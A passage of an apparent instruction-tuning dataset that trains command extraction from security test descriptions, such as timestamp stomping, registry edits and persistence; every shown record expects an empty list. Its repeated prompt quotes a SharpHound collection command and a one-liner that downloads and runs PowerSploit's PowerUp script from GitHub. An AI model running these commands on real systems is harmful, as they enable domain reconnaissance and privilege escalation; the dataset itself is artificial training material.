   {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Stomps on the access timestamp of a file\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adds a command to the .bash_profile file of the current user\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the \"ChannelAccess\" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.\nUpon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as \"Get-EventLog\" or \"wevtutil\".",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilize scp to perform a remote file copy (pull)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A registry modification to allow Simultaneous download in the system.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Find or discover files on the file system\n\nReferences:\n\nhttp://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/\n\nhttps://perishablepress.com/list-files-folders-recursively-terminal/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.\nSee example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected 